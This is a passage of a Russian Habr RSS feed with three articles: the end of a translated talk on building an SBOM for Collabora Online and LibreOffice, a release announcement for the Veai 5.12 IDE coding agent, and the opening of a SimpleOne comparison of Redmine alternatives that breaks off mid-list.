Sun Microsystems, работал над известной альтернативой Microsoft Office, &lt;/em&gt;&lt;a href=http://OpenOffice.org&gt;&lt;em&gt;OpenOffice.org&lt;/em&gt;&lt;/a&gt;&lt;em&gt;, а затем стал одним из основателей The Document Foundation и проекта LibreOffice.&lt;/em&gt;&lt;p&gt;&lt;em&gt;Сейчас в его повседневной работе много проектного менеджмента и общения с заказчиками, но это не мешает ему время от времени всё ещё возиться с кодом. Недавно он объединил свою компанию с Collabora, чтобы с новыми силами помогать заказчикам переходить на суверенное открытое ПО.&lt;/em&gt;&lt;/blockquote&gt;&lt;h3&gt;С чего мы начинали и с чем столкнулись&lt;/h3&gt;&lt;p&gt;Наша цель — полная прозрачность и отслеживаемость всех артефактов продукта, чтобы соответствовать требованиям CRA. Для контейнерных образов мы уже многое умеем, но Collabora Online — это особый случай, так как под капотом у нас технологический микс:&lt;ul&gt;&lt;li&gt;&lt;p&gt;ядро: LibreOffice Core (колоссальный проект на C++);&lt;li&gt;&lt;p&gt;фронтенд: JavaScript и TypeScript со своей экосистемой;&lt;li&gt;&lt;p&gt;нативные зависимости: более 100 библиотек на C/C++;&lt;li&gt;&lt;p&gt;«пограничники»: шрифты, словари, для которых нет готовых автоматических решений.&lt;/ul&gt;&lt;p&gt;Вдобавок ко всему стандарты CRA до сих пор формируются, так что процесс напоминает ремонт автомобиля на полном ходу.&lt;h3&gt;Первые шаги: ручной труд и выбор инструмента&lt;/h3&gt;&lt;p&gt;Аудит текущего состояния SBOM выявил печальную картину — не было ничего. Мы изучили вопрос, пообщались с экспертами и, чтобы сдвинуться с мертвой точки, выбрали формат SPDX (без особых причин, просто надо было с чего-то начинать).&lt;p&gt;Первая и самая очевидная задача — собрать информацию о лицензиях. Для Collabora Online мы решили сделать это вручную, так как количество прямых зависимостей было управляемым. Мы составили список JavaScript-зависимостей (к счастью, там не было типичного npm-ада с тысячами вложенных пакетов), затем добавили шрифты, которые неожиданно обнаружились в консоли администратора.&lt;p&gt;С зависимостями C++ на верхнем уровне все было не очень хорошо — несколько десятков библиотек и сам LibreOffice Core. Мы добавили их вручную, но для автоматизации версий подключили систему сборки, чтобы она могла хотя бы подтягивать автоматически номера версий.&lt;h3&gt;Шрифты, словари и прочие «простые» вещи&lt;/h3&gt;&lt;p&gt;Казалось бы, шрифт — это просто картинка. Но нет. У него есть лицензия, значит, он должен быть в SBOM. Более того, это бинарный артефакт. А если копнуть глубже — механизмы хинтинга в шрифтах содержат настоящий код, выполняющийся в виртуальной машине. Это уже потенциальная поверхность для атаки. И для полной безопасности нам нужно знать версию шрифта, его хэш и проверять наличие CVE.&lt;p&gt;Со словарями ситуация немного проще (в основном лицензия), но и они должны быть в списке. В итоге, помимо кода, нам нужно учитывать еще 50 словарей и сотни шрифтов. Мы надеялись, что кто-то уже автоматизировал учет шрифтов в SBOM, но, к сожалению, на практике эта проблема не решена и соответствующие баг-репорты до сих пор открыты. Чуда не произошло.&lt;h3&gt;LibreOffice Core&lt;/h3&gt;&lt;p&gt;Итак, что у нас есть по состоянию на январь 2025 года? Для Collabora Online есть система, которая генерирует список лицензий для прямых зависимостей. Мы можем видеть 26 взаимосвязей и версии, полученные из системы сборки.&lt;p&gt;LibreOffice — это огромная, сложная и проблемная часть проекта, которую нельзя игнорировать и с которой трудно работать: с историей, 10 миллионами строк кода, более чем 100 сторонними C/C++ библиотеками и кучей шрифтов. Ручное описание всех его внутренних зависимостей — это титанический и неблагодарный труд, который устареет быстрее, чем мы его закончим. Это нужно автоматизировать любой ценой.&lt;h3&gt;В поисках автоматизации для C/C++&lt;/h3&gt;&lt;p&gt;Проблема в том, что для C и C++ нет единого стандарта сборки и менеджера пакетов, как, например, в Go, Java или Python*. Каждая библиотека может использовать свою легаси-систему. Но есть и хорошая новость: система сборки самого LibreOffice (довольно специфичная и основанная на OpenOffice, релиз которой состоялся в 2002 году) знает всё, что она собирает. Она динамическая, позволяет включать и отключать функции, и именно она в итоге упаковывает все в форматы DEB, RPM или MSI.&lt;p&gt;Мы решили пойти этим путем и написали патч, который вытаскивает из системы сборки линейный список всех зависимостей, которые реально попадают в продукт. Это позволило нам сгенерировать минимальный SBOM, включающий все сторонние компоненты и их лицензии.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;*Прим. ред&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;. Конечно, для C/C++ существуют менеджеры зависимостей, например, Conan и vcpkg. Но далеко не все проекты готовы переходить на них из-за исторически сложившихся систем сборки, требований к совместимости и устоявшихся процессов разработки. Поэтому в таких проектах часто приходится работать с тем, что уже знает их собственная сборочная система.&lt;/em&gt;&lt;/blockquote&gt;&lt;h3&gt;От лицензий к безопасности: требования BSI&lt;/h3&gt;&lt;p&gt;CRA требует не просто наличие списка лицензий, а возможности оценивать уязвимости. Немецкое ведомство по безопасности BSI &lt;a href=&#34;https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/TechGuidelines/TR03183/BSI-TR-03183-2_v2_1_0.pdf?__blob=publicationFile&amp;amp;v=5&#34;&gt;выпустило подробные рекомендации&lt;/a&gt;, которые, хоть и не являются обязательным, задают высокую планку.&lt;p&gt;Если следовать ему, то нам нужно для каждого файла на диске (включая скрипты Python, макросы и, возможно, шрифты) понимать его происхождение. А именно:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Имя компонента.&lt;li&gt;&lt;p&gt;Контрольная сумма (для проверки целостности).&lt;li&gt;&lt;p&gt;Идентификатор CPE (Common Platform Enumeration), чтобы привязать к нему CVE. Проблема в том, что для большинства старых C++ библиотек CPE просто не существует.*&lt;li&gt;&lt;p&gt;Заявленная и фактическая лицензия (они могут отличаться).&lt;li&gt;&lt;p&gt;Информация о системных библиотеках, с которыми слинкован бинарный файл (это ответственность дистрибутива, но мы должны это идентифицировать).&lt;/ol&gt;&lt;p&gt;Это внушительный объем работы, который к тому же зависит от платформы: SBOM для Windows будет отличаться от SBOM для Linux.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;*Прим.ред&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.: формально CPE-строку можно составить самостоятельно: это структурированный формат именования продуктов, а не идентификатор, который обязательно должен быть заранее зарегистрирован для каждой библиотеки. Однако для автоматического сопоставления с уязвимостями важна не только корректность строки, но и ее совпадение с тем, как компонент описан в публичных базах. Для старых C/C++ библиотек такой надежной привязки часто нет, поэтому самостоятельно составленный CPE может не помочь найти связанные CVE или, наоборот, привести к ложным совпадениям.&lt;/em&gt;&lt;/blockquote&gt;&lt;h3&gt;Что дальше?&lt;/h3&gt;&lt;p&gt;Наш план — выжимать всю информацию из системы сборки. И если с прямыми зависимостями мы справились, то для получения полной картины (включая динамические связи и данные о сторонних библиотеках внутри Core) нам придется копаться в системах сборки. Это серьезная задача.&lt;p&gt;Самое печальное, что мы находимся на вершине стека. Мы не можем просто сказать «пусть авторы библиотек делают SBOM». Многие из этих библиотек поддерживаются одним человеком, и просить их еще и генерировать SPDX или CycloneDX — нереальная задача без дополнительного финансирования.&lt;h3&gt;Заключение&lt;/h3&gt;&lt;p&gt;Мы прошли путь от полного отсутствия SBOM до минимально рабочего процесса, который закрывает вопросы лицензионной чистоты. Главный вывод, который мы сделали – &lt;strong&gt;формировать SBOM необходимо на этапе сборки&lt;/strong&gt;: во-первых, содержимое компонентов ПО напрямую зависит от текущих параметров конфигурации, а во-вторых, поддерживать список компонентов вручную после сборки слишком трудоемко.&lt;br&gt;&lt;br&gt;Впереди — самый сложный этап: детализация гигантской кодовой базы LibreOffice Core для выполнения требований безопасности CRA».&lt;p&gt;___&lt;p&gt;Если вы решали или сейчас решаете похожие задачи – обязательно расскажите о своем опыте в комментариях под этой статьей!&lt;br&gt;&lt;br&gt;&lt;strong&gt;Почему мы решили перевести этот текст? &lt;/strong&gt;CodeScoring – это российское решение для безопасной работы с open source, проверки совместимости лицензий, поиска секретов и анализа качества разработки. Например, мы единственные в России умеем разбирать зависимости C/C++ через анализ сборки. Подробнее об этом &lt;a href=https://docs.codescoring.ru/agent/scan-build/&gt;можно почитать вот здесь&lt;/a&gt;.&lt;p&gt;Узнать больше о том, что мы делаем, вы можете &lt;a href=https://codescoring.ru/&gt;на сайте CodeScoring&lt;/a&gt;.&lt;p&gt;А мы продолжим переводить для вас SBOM-доклады со свежего FOSDEM, и вы можете выбрать, какой доклад выйдет в блоге следующим, голосуйте в форме ниже!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/codescoring/articles/1045570/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1045570</guid>
      <pubDate>Wed, 10 Jun 2026 15:27:48 +0000</pubDate>
    </item>
    <item>
      <title>Veai 5.12: агент в любимой IDE, которому не нужно заранее объяснять формат задачи</title>
      <link>https://habr.com/ru/companies/veai/articles/1044846/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1044846</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;&lt;strong&gt;Главная ценность релиза — разработчик начинает с рабочей задачи, а не с выбора режима.&lt;/strong&gt;&lt;p&gt;Каждый день есть задачи, которые хочется сделать быстро и чисто: разобраться с падающим тестом, поправить метод, доделать фичу. Но правильный путь не всегда понятен заранее: иногда нужна простая правка, иногда — исследование проекта, тесты, ревью или отладка.&lt;p&gt;Для этого в Veai 5.12 появился &lt;strong&gt;General Agent&lt;/strong&gt;. Он принимает задачу в том виде, в каком разработчик обычно ее формулирует: неидеально, с сомнениями и неполным пониманием пути. Агент сам подбирает нужные действия и отдает результат, который уже можно проверить.&lt;p&gt;&lt;a href=https://veai.dev/&gt;Попробовать Veai 5.12&lt;/a&gt; · &lt;a href=http://localhost:63342/markdownPreview/1095860083/markdown-preview-index-fqfk4ddr473c0hnp3ghljsrjhf.html#%D1%87%D1%82%D0%BE-%D0%B2%D1%85%D0%BE%D0%B4%D0%B8%D1%82-%D0%B2-veai-512&gt;Что входит в релиз&lt;/a&gt;&lt;h3&gt;Что входит в Veai 5.12&lt;/h3&gt;&lt;p&gt;В этом релизе мы собрали изменения, которые закрывают весь путь работы с агентом: от первого сообщения в чат до проверки результата.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Возможность&lt;th&gt;&lt;p align=left&gt;Что дает пользователю&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;General Agent как основной режим&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Можно начать с обычной задачи, не выбирая режим заранее&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Выбор режима при первом запуске&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Новый пользователь может оставить простой сценарий, опытный — сразу выбрать нужный подход&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Вложения прямо в поле ввода&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Файл или выделенный фрагмент кода можно добавить в запрос как контекст&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Больше возможностей в Rider, WebStorm и PyCharm&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Тестовый агент и поиск по зависимостям становятся доступнее в разных IDE и стеках&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Agent Changes&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Правки агента можно проверять как список изменений перед коммитом&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Simple-интерфейс&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;В чате остается только выбор агента, поле ввода и отправка сообщения&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Advanced-режим&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Полный набор настроек и инструментов остается доступен для сложных сценариев&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Создание навыков через чат&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Агент уточняет детали и сам готовит Markdown-файлы навыка в нужной папке&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Автоподключение MCP-сервера IDE&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Если встроенный MCP-сервер уже включен, Veai может подключить его без ручной настройки&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Исправления производительности и стабильности&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Длинные задачи, интерфейс чата, субагенты и остановка операций работают надежнее&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;General Agent как основной режим&lt;/h3&gt;&lt;p&gt;General теперь установлен как основной режим Veai по умолчанию. Он нужен для ситуаций, когда вы хотите начать с рабочей задачи, а не с выбора между Code, Ask, Test, Plan, Review и Debug.&lt;p&gt;Разработчику не нужно думать о сложных процессах: какой инструмент вызвать, когда подключить субагента, где искать контекст и какие проверки запустить. Простые задачи General делает сам, а для сложных подключает нужных субагентов: один может разобраться в проекте, другой написать код, третий проверить результат или подготовить тесты.&lt;p&gt;&lt;em&gt;Вы формулируете задачу как обычно — «посмотри, почему не работает», «поправь метод», «добавь тесты». &lt;/em&gt;&lt;strong&gt;&lt;em&gt;General сам разберётся&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;, достаточно ли простой правки или нужно пройтись по проекту, изменить код и проверить результат.&lt;/em&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/30a/a51/102/30aa511028a8337f593b79aea48a49ed.jpg alt=&#34;General Agent как основной режим&#34; title=&#34;General Agent как основной режим&#34; width=955 height=567 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/30a/a51/102/30aa511028a8337f593b79aea48a49ed.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/30a/a51/102/30aa511028a8337f593b79aea48a49ed.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;General Agent как основной режим&lt;/strong&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4&gt;Один чат для всей задачи&lt;/h4&gt;&lt;p&gt;В интерфейсе это выглядит как обычный диалог с агентом. Вы выбираете General, пишете задачу в поле ввода и дальше работаете в том же чате, даже если задача меняет направление.&lt;p&gt;&lt;em&gt;Например:&lt;/em&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/cf8/a90/909/cf8a90909d001284eceabd2677894df7.jpg width=885 height=522 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/cf8/a90/909/cf8a90909d001284eceabd2677894df7.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/cf8/a90/909/cf8a90909d001284eceabd2677894df7.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Для пользователя это одно сообщение. Под капотом Veai может пройти несколько шагов: открыть результат теста, найти связанный production-код, проверить зависимости, внести правку, обновить тест и снова запустить проверку.&lt;p&gt;В чате при этом остаётся единая история задачи: что агент посмотрел, какие файлы изменил, какие проверки запустил и чем всё закончилось. Не нужно вручную переключаться из Test в Code, потом в Review или Debug — General сам выбирает нужный маршрут.&lt;h2&gt;Вложения прямо в поле ввода&lt;/h2&gt;&lt;p&gt;Вложения были и раньше: в поле ввода можно набрать &lt;code&gt;@&lt;/code&gt; и выбрать, что приложить — например текущий файл. А чтобы приложить кусок кода, нужно было выделить его в редакторе и через правую кнопку выбрать &lt;strong&gt;Add Selection as Attachment&lt;/strong&gt;.&lt;p&gt;Но работать так было неудобно: все вложения висели отдельно над полем ввода — примерно как вложения в Gmail или Outlook. А разработчику часто хочется сказать что-то вроде «на основании кода в таких-то строчках допиши тесты» и тут же сослаться на другой фрагмент.&lt;p&gt;В 5.12 это поправили.&lt;strong&gt;&lt;em&gt; Теперь если выделить фрагмент и перейти в чат, Veai сам добавит его к сообщению, а сами вложения живут прямо внутри поля ввода. Их можно удалить, а текст писать до и после вложения.&lt;/em&gt;&lt;/strong&gt;&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/6a27eadb6b85845d00f702f6 data-style id=6a27eadb6b85845d00f702f6 width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;Сами вложения теперь выглядят как объекты внутри поля ввода. Их можно удалить, а текст промпта можно писать до и после вложения. Так легче собрать понятный запрос: сначала добавить файл или фрагмент кода, потом сразу рядом написать, что именно с ним нужно сделать.&lt;p&gt;&lt;strong&gt;На практике это закрывает частые задачи разработчика. Выделили метод и сразу спрашиваете по делу:&lt;/strong&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f5d/d90/8d8/f5dd908d8a98fe061c78ccb849ccca73.jpg alt=&#34;Выделили метод и сразу спрашиваете по делу&#34; title=&#34;Выделили метод и сразу спрашиваете по делу&#34; width=885 height=488 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f5d/d90/8d8/f5dd908d8a98fe061c78ccb849ccca73.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f5d/d90/8d8/f5dd908d8a98fe061c78ccb849ccca73.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;strong&gt;Выделили метод и сразу спрашиваете по делу&lt;/strong&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;А ещё легче собрать составную задачу из нескольких фрагментов, вплетая их прямо в текст:&lt;/em&gt;&lt;/strong&gt;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Сравни [выделенный метод] с [примером использования] и скажи, не ломаем ли мы старое поведение.&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;Для агента это точнее, чем общий вопрос без контекста: он видит не просто текст промпта, а конкретный файл, метод или участок кода, на который нужно смотреть.&lt;p&gt;&lt;strong&gt;Вы хотите спросить агента про конкретный метод, подозрительный участок кода или ошибку в небольшом фрагменте, но не хотите руками объяснять, где агенту смотреть.&lt;/strong&gt;&lt;h2&gt;Интерфейс не мешает начать&lt;/h2&gt;&lt;p&gt;В режиме &lt;strong&gt;Simple остается только самое нужное&lt;/strong&gt;: выбор агента, поле ввода и кнопка отправки. Дополнительные панели и настройки скрыты, чтобы чат не выглядел как кабина пилота.&lt;p&gt;Если нужен полный набор инструментов, пользователь может переключиться в режим Advanced в настройках чата.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/312/fef/334/312fef334ba4d5a7acc998b77095f33c.jpg alt=Veai title=&#34;Кнопки действий у сообщений в Simple-режиме появляются только при наведении.&#34; width=955 height=253 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/312/fef/334/312fef334ba4d5a7acc998b77095f33c.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/312/fef/334/312fef334ba4d5a7acc998b77095f33c.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Кнопки действий у сообщений в Simple-режиме появляются только при наведении.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Удобный просмотр изменений агента&lt;/h3&gt;&lt;p&gt;Принять или отклонить правки агента можно было и раньше: нажать &lt;strong&gt;Changes&lt;/strong&gt;, принять всё или всё отменить. В 5.12 мы добавили рядом кнопку со стрелочками — по ней открывается отдельное окно &lt;strong&gt;Agent Changes&lt;/strong&gt; со всеми изменениями, сделанными агентом.&lt;div class=tm-iframe_temp data-src=https://embedd.srv.habr.com/iframe/6a27fad99007408fb2949690 data-style id=6a27fad99007408fb2949690 width data-habr-games&gt;&lt;/div&gt;&lt;p&gt;Мы специально сделали его похожим на привычное окно работы с git-коммитами и pull-request — это самый естественный для IDE способ работать с изменениями. Работа агента поэтому оказывается на том же уровне, что и обычные правки в проекте.&lt;p&gt;В окне можно отметить отдельные изменения, принять или отменить их пачками, а можно кликнуть по файлу и увидеть diff — только то, что изменилось. Прямо в углу файла есть галочка «принять» и стрелка «отклонить». Как только изменение принято, файл уходит из списка, а остальные остаются. Изменения из разных чатов не смешиваются.&lt;h3&gt;Больше возможностей в Rider, WebStorm и PyCharm&lt;/h3&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/c60/876/a0b/c60876a0b84d640ca9e0287c4294fcae.jpg alt=&#34;Тестовый агент и поиск по зависимостям становятся доступнее в разных IDE и стеках&#34; title=&#34;Тестовый агент и поиск по зависимостям становятся доступнее в разных IDE и стеках&#34; width=955 height=439 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/c60/876/a0b/c60876a0b84d640ca9e0287c4294fcae.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/c60/876/a0b/c60876a0b84d640ca9e0287c4294fcae.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Тестовый агент и поиск по зависимостям становятся доступнее в разных IDE и стеках&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Раньше отдельный режим Test был доступен только в IntelliJ IDEA для Java и Kotlin. Теперь его можно использовать в Rider, WebStorm и PyCharm, чтобы просить Veai сгенерировать или доработать тесты в той IDE, где вы уже пишете код.&lt;p&gt;Чтение кода зависимостей тоже стало универсальнее. Veai уже умел читать библиотеки в IDEA для JVM-кода, в PyCharm для Python и в Rider для .NET. Теперь агенту проще работать в смешанных проектах: например, если в IDEA установлен Python-плагин, он может искать Python-символы рядом с Java-кодом. Поиск по Python также лучше работает с неполными именами.&lt;p&gt;&lt;strong&gt;Вы работаете в C#, JavaScript, TypeScript или Python-проекте, хотите попросить агента подготовить тесты или разобраться с библиотекой, и не хотите переходить в другую IDE ради этих сценариев.&lt;/strong&gt;&lt;h3&gt;Частые вопросы&lt;/h3&gt;&lt;h4&gt;General заменяет Ask, Code, Test, Plan, Review и Debug?&lt;/h4&gt;&lt;p&gt;Нет. General — рекомендуемая точка входа для задач с неясным объемом. Специализированные режимы остаются для случаев, где пользователь хочет явно управлять процессом.&lt;h4&gt;Почему субагенты не запускаются всегда?&lt;/h4&gt;&lt;p&gt;Потому что для маленьких задач это создает лишние расходы. Если нужно поправить одну строку, General может сделать это сам. Если задача большая и требует параллельного исследования, субагенты становятся полезны.&lt;h4&gt;Можно ли выбрать другой режим при первом запуске?&lt;/h4&gt;&lt;p&gt;Да. При первой установке Veai может предложить выбрать стартовый режим. General рекомендован как самый простой вариант, но опытный пользователь может сразу выбрать другой сценарий.&lt;h4&gt;Что делать, если нужен полный контроль?&lt;/h4&gt;&lt;p&gt;Переключиться в режим Advanced в настройках чата. Там доступны дополнительные панели, настройки и специализированные сценарии.&lt;h4&gt;Как проверять правки агента?&lt;/h4&gt;&lt;p&gt;Через Agent Changes: список файлов активного чата, сравнение версий, переход между изменениями, принятие и отклонение правок пачками.&lt;h3&gt;Сравните возможности&lt;/h3&gt;&lt;h3&gt;Хотите быстро понять, что умеет Veai в разных IDE и сценариях? &lt;/h3&gt;&lt;p&gt;&lt;a href=https://veai.ru/docs/veai/feature-matrix&gt;Откройте матрицу&lt;/a&gt; возможностей: там собраны агенты, инструменты, языки и поддержка IDE. Это удобно, если выбираете Veai для команды или сравниваете сценарии перед внедрением.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/99b/b63/7e7/99bb637e72c87618640c2cf0b881ab4a.png alt=https://veai.ru/docs/veai/feature-matrix title=https://veai.ru/docs/veai/feature-matrix width=1672 height=941 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/99b/b63/7e7/99bb637e72c87618640c2cf0b881ab4a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/99b/b63/7e7/99bb637e72c87618640c2cf0b881ab4a.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;a href=https://veai.ru/docs/veai/feature-matrix&gt;https://veai.ru/docs/veai/feature-matrix&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3&gt;Попробуйте Veai 5.12&lt;/h3&gt;&lt;p&gt;Начните с General Agent: напишите задачу обычными словами, а Veai сам выберет подходящий способ работы.&lt;p&gt;Бесплатно в IDE. А если в работе вам не хватает каких-то возможностей или сценариев, пишите нам в &lt;a href=https://t.me/veai_devs_chat&gt;чат&lt;/a&gt; или на &lt;a href=mailto:support@veai.ru&gt;support@veai.ru&lt;/a&gt;. Такие сообщения напрямую влияют на план следующих обновлений.&lt;p&gt;Для всех, кому интересно следить за продуктом, новостями из мира AI и техниками использования AI в разработке, оставляем ссылку на наш &lt;a href=https://t.me/veai_devs&gt;телеграм-канал&lt;/a&gt;.&lt;p&gt;&lt;a href=https://veai.ru/download&gt;Попробовать Veai &lt;/a&gt;· &lt;a href=https://veai.ru/blog/company/release5120generalagent&gt;Узнать больше о Veai 5.12&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/veai/articles/1044846/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1044846</guid>
      <pubDate>Wed, 10 Jun 2026 15:24:23 +0000</pubDate>
    </item>
    <item>
      <title>Redmine в 2026: кто на нём до сих пор сидит, почему это рационально — и когда пора искать аналог</title>
      <link>https://habr.com/ru/companies/simpleone/articles/1046155/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046155</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Redmine — «старый добрый друг» ИТ-индустрии, на котором выросло не одно поколение админов. И будем честными: он до сих пор делает своё дело — бесплатно, стабильно, на вашем железе и без сюрпризов от вендора. Если у вас 15 человек и настроенный процесс — возможно, эта статья вам не нужна.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/75e/e3e/27a/75ee3e27a50794c2a58e27d4587a840a.png width=1400 height=779 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/75e/e3e/27a/75ee3e27a50794c2a58e27d4587a840a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/75e/e3e/27a/75ee3e27a50794c2a58e27d4587a840a.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Проблемы начинаются на масштабе. Сначала вы тратите вечер на поиск плагина для нормальной связки с GitLab. Потом — выходные на восстановление сервера, который «положило» обновление Ruby. Потом считаете, сколько часов сеньоры потратили на поддержку зоопарка модулей вместо продукта, — и понимаете, что ваш бесплатный Open Source давно перестал быть бесплатным. Он просто выставляет счёт не в лицензиях, а в человеко-часах.&lt;p&gt;Но главная боль ухода с Redmine кроется не в администрировании, а в управлении продуктом. Redmine — это классический issue tracker, который застрял в эпохе Waterfall. Попытки «натянуть» на него современный Agile (Scrum/Kanban) через плагины вроде Agile Dwarf превращают работу Product Owner&amp;#39;ов в пытку. Сегодня бизнесу нужен не просто список тикетов. Нужна полная прослеживаемость (Traceability): от бизнес-требования (Epic) до конкретного коммита, Merge Request&amp;#39;а и инцидента на проде.&lt;p&gt;Важная оговорка: дело не в том, что Redmine «устарел». Дело в том, что задача изменилась. Раньше трекер отвечал на вопрос «кто что делает» — теперь от него ждут связку кода, поддержки и планов в одном контуре: чтобы инцидент из прода сам становился дефектом в бэклоге, а коммит был виден из карточки задачи без переключения в GitLab.&lt;p&gt;Мы отобрали 10 аналогов Redmine, которые закрывают эту задачу по-разному — от визуальных Kanban-трекеров до Enterprise-платформ. Для каждого: кому подходит, что умеет, сколько стоит и какие у него честные минусы. В конце — балльная таблица и совет, как проверить систему до покупки.&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Дисклеймер:&lt;/strong&gt; статья опубликована в блоге SimpleOne, и &lt;a href=&#34;https://simpleone.ru/sdlc?utm_source=habr_10_06_2026&#34;&gt;SimpleOne SDLC&lt;/a&gt; входит в этот рейтинг. Мы знаем свой продукт лучше остальных — это влияет на оценку. Рекомендуем тестировать решения самостоятельно на вашем процессе. &lt;/blockquote&gt;&lt;h3&gt;Критерии выбора аналога Redmine в 2026 году&lt;/h3&gt;&lt;p&gt;Чтобы ваш переезд не превратился в «шило на мыло», оценивайте системы по шести критичным для бизнеса метрикам:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Проектное управление&lt;/strong&gt;: иерархии задач, Гант, ресурсы и портфели. В Redmine это собирается из плагинов — здесь смотрим, что есть из коробки.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Agile-инструменты&lt;/strong&gt;: не «доска как в плагине Agile», а спринты, WIP-лимиты и метрики (Cycle Time, Velocity), которые считаются сами, а не выгружаются в 